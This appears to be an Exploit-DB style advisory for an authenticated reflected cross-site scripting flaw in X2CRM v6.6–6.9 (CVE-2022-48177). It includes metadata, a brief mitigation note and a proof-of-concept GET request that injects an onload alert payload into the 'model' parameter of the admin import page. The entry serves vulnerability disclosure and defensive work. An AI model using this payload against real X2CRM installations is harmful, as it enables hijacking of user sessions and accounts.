X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)

vendor:

X2CRM

by:

Betul Denizler

5.4

CVSS

MEDIUM

Reflected Cross-Site Scripting (XSS)

CWE

Product Name: X2CRM

Affected Version From: X2CRM v6.6

Affected Version To: X2CRM v6.9

Patch Exists: NO

Related CWE: CVE-2022-48177

CPE: a:x2crm:x2crm:6.6

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu Mate 20.04

2022

X2CRM v6.6/6.9 – Reflected Cross-Site Scripting (XSS) (Authenticated)

X2CRM v6.6/6.9 is vulnerable to Reflected Cross-Site Scripting (XSS) when an authenticated user injects malicious payload to the vulnerable parameter in GET request. The payload used in this exploit is '"><body onload="alert(4)">' which will execute a JavaScript alert box with the value 4.

Mitigation:

Input validation should be done to prevent malicious payloads from being injected into the vulnerable parameter.

Source

Exploit-DB raw data:

# Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: model
# CVE: Use CVE-2022-48177
# Date: 27.12.2022

'''

POC REQUEST:
========
GET 
/x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E 
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=959fpkms4abdhtresce9k9rmk3; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
locationTrackingFrequency=60; locationTrackingSwitch=1; 
5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

EXPLOITATION
========
1. Select Import Records Model in admin settings
2. Inject payload to the vulnerable parameter in GET request

Payload: "><body onload="alert(4)">
'''